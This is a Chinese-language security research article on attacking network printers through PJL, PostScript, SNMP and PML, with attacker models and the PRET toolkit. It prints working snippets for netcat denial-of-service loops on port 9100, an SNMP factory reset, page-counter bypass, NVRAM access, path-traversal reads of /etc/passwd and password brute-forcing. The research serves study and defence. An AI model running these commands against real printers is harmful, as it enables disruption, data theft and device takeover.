研究基础-网络打印协议
在这里,首先介绍一下网络打印协议和打印语言的关系原理,其抽象的封装层次如图所示,网络打印协议扮演打印任务的部署通道,而打印任务则包含了调用打印机或进行打印设置的页面描述语言(PDL)。从安全角度来说,这种封装功能略有重复和松散,例如,可以在IPP、PJL和PostScript中设置不同的用户名,即使在某一层存在某种功能限制,其它封装层又可以实现。在该项研究中,我们主要关注的是打印语言,尤其是PJL和PostScript。
研究基础-打印控制语言PCL
PCL(Printing Control Language)语言是将打印内容解释成标准页面描述文件,然后由打印机转换成光栅图像进行打印。采用PCL打印语言的打印机对计算机系统资源占用也较少,同时对字库、图像的解释能力较强,可以用来输出比较复杂的页面和图像,PCL语言具有较好的兼容性,可广泛支持所有操作系统;此外由于数据传输量较小,可以很方便地实现网络打印,适用于操作系统较复杂或大型的办公环境。
打印机作业语言PJL
PJL (Printer Job Language,打印机作业语言)作为PCL的扩展,用于指导打印机行为,比如更改设备设置、传输文件等,PJL最早由HP公司引入,现在已发展成为标准的打印任务控制语言。利用PJL语言可以对打印任务进行永久性的更改设置,PJL通过对文件格式和设置的读取之后,通过转换给打印机进行打印输出。以下为典型的对打印纸张大小和数量进行设置的PJL命令:
1 @PJL SET PAPER=A4
2 @PJL SET COPIES=10
3 @PJL ENTER LANGUAGE=POSTSCRIPT
在我们的研究中,PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。
SNMP协议语言
SNMP是运行于端口161的UDP协议,SNMP通过其协议管理模块MIB对支持这种协议的网络设备进行管理,这些管理操作包括监视网络状态?修改网络设备配置?接收网络事件警告等。SNMP还定义了可访问的网络设备及其属性,并指定为对象识别符(OID:Object Identifier),通过OID请求可以获取相关设备信息。以下为利用SNMP命令从主机资源MIB中读取设备hrDeviceDescr的OID信息值:
1 $ snmpget -v1 -c public printer iso.3.6.1.2.1.25.3.2.1.3.1
2 iso.3.6.1.2.1.25.3.2.1.3.1 = STRING: "hp LaserJet 4250"
打印机标准Printer MIB(RFC 1759)正是利用了SNMP协议的该项特点,进行打印机设备的检索和识别。在我们的测试攻击中,SNMP协议还能结合PJL语言执行任意打印攻击。
打印管理语言 (PML)
PML 是以对象为导向的应答型打印机管理语言,它包括 PML 命令和 PML 对象,每个 PML 对象都与唯一的打印机信息段相关联。 PML 命令可以指定访问对象的方法。在我们的研究中,主要使用PML语言来重置打印机出厂状态。
研究基础-页面描述语言PDL
PDL(Page Descriptional Language)页面描述语言,主要用于将位图格式转换成PCL格式代码,打印机接收后由CPU解释并执行打印。PDL的特点是多用途和表达精细,用来输出复杂的页面和图像。其工作流程都是首先在计算机端将打印内容解释成标准的页面描述文件然后传送到打印机控制器中,在打印控制器中再将页面描述文件解释成可以打印的光栅图像。Postscript(PS)和PCL(Printing Control Language)是两种标准化的页面描述语言。
PostScript
PostScript是一种与设备无关的打印机语言,即在定义图像时可以根本不考虑输出设备的特性(如打印机的分辨率、纸张大小等),而且它对文本和图形实行同样的处理过程,极具灵活性。在对纸张大小、进纸盒输出设备、分辨率等进行选择时,PostScript可以实现不同特性的良好描述。在我们的研究中,PostScript可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存。
Printer Command Language,PCL,打印机指令语言
与打印机控制语言(Printing Control Language)不同的是,打印机指令语言是PDL的一种, PCL 实质上是一种面向文本的语言,已扩展到能提供图形功能,但在大型打印文件处理、色彩表现准确度等方面不如PostScript有优势,所以PCL语言更适用于普通的商务办公应用。打印机指令语言PCL很难被攻击利用,所以,在我们的研究中,它仅被用来在打印内存中构造虚拟宏文件。
打印机漏洞披露和各类语言支持情况
通过CVE的统计数据,我们整理出了自1999年至2016年以来,各品牌打印机存在的各类型披露漏洞,如下所示:
各类固件和语言的支持属性:
攻击者建模
内部攻击者AM1(执行物理接触的攻击)
该攻击者可以潜伏于内部网络,通过以下物理接触方式发起对打印机的攻击:
向内部网络插入运行有攻击程序的内存卡或USB外连设备;
通过USB外连设备或其它方式直接连接目标打印机;
对打印机进行打印控制更改或执行某些关键组合键位操作。
网络攻击者AM2(通过网络执行远程攻击)
该攻击者可以通过网络,利用以下方式远程对目标打印机发起攻击:
入侵打印设置开启的Web、FTP、SMB、SNMP、LPD、IPP或9100端口打印服务等;
对目标打印机建立长期的攻击连接。
浏览器攻击者AM3(通过Web浏览器方式执行攻击)
攻击者对目标网络内的人员,通过构造“水坑网站”、钓鱼邮件或社工方式攻击,利用XSS等漏洞注入恶意打印脚本,或渗透内网间接控制打印机。
可以实现的攻击
DoS攻击
打印队列任务控制
打印信息传输通道控制
针对9100原始端口打印协议,利用netcat命令实现的验证性攻击代码(连接循环):
1 while true; do nc printer 9100; done
针对9100原始端口打印协议,实现的延时连接循环DoS攻击:
1 # get maximum timeout value
2 MAX="‘echo "@PJL INFO VARIABLES" | nc -w3 printer 9100 \
3 | grep -E -A2 ’^TIMEOUT=’ | tail -n1 | awk ’{print $1}’‘"
4 # set maximum timeout for current job
5 while true; do echo "@PJL SET TIMEOUT=$MAX"|nc printer 9100; done
打印文档控制
用两行PostScript代码实现的循环DoS攻击:
1 %!
2 {} loop
打印描述页面重定义
用以下PostScript命令实现打印描述页面重定义:
1 serverdict begin 0 exitserver
2 /showpage {} def
使打印机进入离线脱机状态
使用PJL命令使打印机进入离线脱机状态:
1 @PJL OPMSG DISPLAY="PAPER JAM IN ALL DOORS"
利用打印文档控制可以实现DoS攻击的打印机品牌:
物理内存破坏
使用以下PostScript代码对打印机内存实现压力测试:
1 /counter 0 def
2 { << /Password counter 16 string cvs
3 /SystemParamsPassword counter 1 add 16 string cvs
4 >> setsystemparams /counter counter 1 add def
5 } loop
提权
出厂状态重置
利用以下SNMP命令实现出厂状态重置:
1 $ snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
2 @PJL DMCMD ASCIIHEX="040006020501010301040106"
3 << /FactoryDefaults true >> setsystemparams
可以实现出厂状态重置的打印机品牌:
错误信息显示绕过
重置HP激光打印机纸张计数器:
1 \x1b%-12345X@PJL JOB
2 This page was printed for free
3 \x1b%-12345X@PJL EOJ
4 \x1b%-12345X@PJL JOB
5 @PJL SET SERVICEMODE=HPBOISEID
6 @PJL SET PAGES=2342
7 \x1b%-12345X@PJL EOJ
PostScript软件计数器绕过:
1 currentsystemparams (PageCount) known {
2 [...] code which is only executed on a printer device [...]
3 } if
打印任务控制
打印内容覆盖
打印内容置换
可以实现打印内容覆盖和置换攻击的打印机品牌:
信息泄露
隐蔽通道信息获取
DNS反向通道信息获取
XSS反向通道信息获取
FAX反向通道信息获取
Garbage反向通道信息获取
打印内存访问
例如,在兄弟牌打印机中用以下命令实现内存访问:
1 @PJL RNVRAM ADDRESS = X (read byte at location X)
2 @PJL WNVRAM ADDRESS = X DATA = Y (write byte Y to location X)
打印文件系统访问
在HP激光打印机中,用以下PostScript代码实现打印系统访问:
1 > /str 256 string def (%*%../*) (list all files)
2 > {==} str filenameforall
3 < (%disk0%../webServer/home/device.html)
4 < (%disk0%../webServer/.java.login.config)
5 < (%disk0%../webServer/config/soe.xml)
6
7 > /byte (0) def (read from file)
8 > /infile (../../../etc/passwd) (r) file def
9 > { infile read {byte exch 0 exch put
10 > (%stdout) (w) file byte writestring}
11 > {infile closefile exit} ifelse
12 > } loop
13 < root::0:0::/:/bin/dlsh
14
15 > /outfile (test.txt) (w+) file def (write to file)
16 > outfile (Hello World!) writestring
17 > outfile closefile
或者用以下PJL命令实现打印系统访问:
1 > @PJL FSDIRLIST NAME="0:\" ENTRY=1 COUNT=65535 (list all files)
2 < . TYPE=DIR
3 < .. TYPE=DIR
4 < PostScript TYPE=DIR
5 < PJL TYPE=DIR
6 < saveDevice TYPE=DIR
7 < webServer TYPE=DIR
8
9 > @PJL FSQUERY NAME="0:\..\..\etc\passwd" (read from file)
10 < @PJL FSQUERY NAME="0:\..\..\etc\passwd" TYPE=FILE SIZE=23
11 > @PJL FSUPLOAD NAME="0:\..\..\etc\passwd" OFFSET=0 SIZE=23
12 < root::0:0::/:/bin/dlsh
13
14 > @PJL FSDOWNLOAD SIZE=13 NAME="0:\test.txt" (write to file)
15 > Hello World!
打印文件系统存在可访问漏洞的打印机品牌:
打印任务信息泄露
同样以HP激光打印机为例,可以用以下PJL代码获取当前打印任务信息:
1 @PJL SET HOLD=ON
2 [actual data to be printed]
用以下PostScript代码获取当前打印任务信息:
1 << /Collate true /CollateDetails
2 << /Hold 1 /Type 8 >> >> setpagedevic
存在打印任务信息泄露漏洞的打印机品牌:
密码泄露
以下是HP打印机控制面板和PJL磁盘区密码存储样式:
1 @PJL JOB PASSWORD=0
2 @PJL DEFAULT PASSWORD=12345
3 @PJL DEFAULT DISKLOCK=ON
4 @PJL DEFAULT CPLOCK=ON
攻击者通过内存和文件系统读取就可获取这些密码。另外,由于PostScript密码范围为1-65535,使用高速密码破解机制可以实现暴力破解。以下是一个简单的破解样例:
1 /min 0 def /max 1000000 def
2 statusdict begin {
3 min 1 max
4 {dup checkpassword {== flush stop} {pop} ifelse} for
5 } stopped pop
存在相关密码信息泄露的打印机品牌:
远程代码执行
缓冲区溢出
例如在HP系列部分激光打印机中存在的LPD协议缓冲区溢出漏洞:
伪装成固件或软件包升级执行恶意代码的攻击
我们针对排名前十的打印机品牌进行了升级固件和软件包统计汇总,发现某些品牌打印机未对升级固件和软件包进行必要的安全验证,并且升级固件中还存在着一些有风险的PJL命令代码。(详情参见分析报告)
针对上述攻击,最终,我们总结出了一些攻击检测和安全防护的建议:
新型攻击:跨站打印(XSP)攻击
在研究中,我们发现了一种新型的打印机攻击方式:通过WEB方式利用跨源资源共享欺骗( CORS spoofing)实现跨站打印(Cross-site printing,XSP)攻击。攻击者通过构造一个隐藏Iframe,向目标内部网络中的打印机端口9100/tcp发送HTTP POST请求,该HTTP POST数据中可包含任意打印任务,例如需要解释的PostScript或者PJL命令。通过过使用PostScript输出命令,我们能够轻松模拟一套运行在端口9100/tcp上的HTTP虚拟服务器,并自定义需要响应的HTTP标题头——其中包括任意CROS资源的访问-控制-允许-原始区域,网络浏览器利用XPS中的JavaScript访问此资源后,实现打印欺骗。
可以通过该网站:http://hacking-printers.net/xsp/,进行CROS欺骗结合XPS攻击的概念性攻击测试。
打印机入侵利用工具套装(PRET)
在攻击测试过程中,我们使用打印机入侵利用工具套装(PRET)对目标打印机进行了各类攻击测试的实现。PRET是基于python语言的自动化程序。
安装
点此获取执行程序,并安装以下第三方组件:
# pip install colorama pysnmp
# pip install win_unicode_console
# apt-get install imagemagick ghostscript
PRET使用命令
usage: pret.py [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
positional arguments:
target printer device or hostname
{ps,pjl,pcl} printing language to abuse
optional arguments:
-h, --help show this help message and exit
-s, --safe verify if language is supported
-q, --quiet suppress warnings and chit-chat
-d, --debug enter debug mode (show traffic)
-i file, --load file load and run commands from file
-o file, --log file log raw data sent to the target
示例
对打印机文件系统访问:
后记
近期,一名来自英国的高中生黑客 Stackoverflowin声称利用打印机漏洞控制了 15万多台打印机。Stackoverflowin说,他尝试利用打印机进程守护(LPD)和 Internet 打印协议(IPP)通过 9100 端口直接传送 RAW 协议的打印作业,绕过了身份认证。同时他还透露,他在Xerox 的打印机 Web 管理页面发现了一个 0Day 的远程执行漏洞(RCE)。而就在近几天,相继有全球各地打印机受到攻击,这些打印机纷纷在Twitter上晒出了被攻击之后打印的ASCII码图案。
打印机安全事件
2011.11 哥伦比亚大学研究人员发现,部分惠普激光打印机上一个名为“远程固件更新”的功能可以让黑客在机器上安装恶意软件后完全控制打印机,将打印文件传回黑客电脑、使打印机停止工作甚至让打印机上对碳粉进行加热加压的定影仪不断加热至起火。
2016.3 被称为“Weev”的黑客Andrew Auernheimer入侵了数千台联网打印机来打印传播种族主义和反犹太人传单。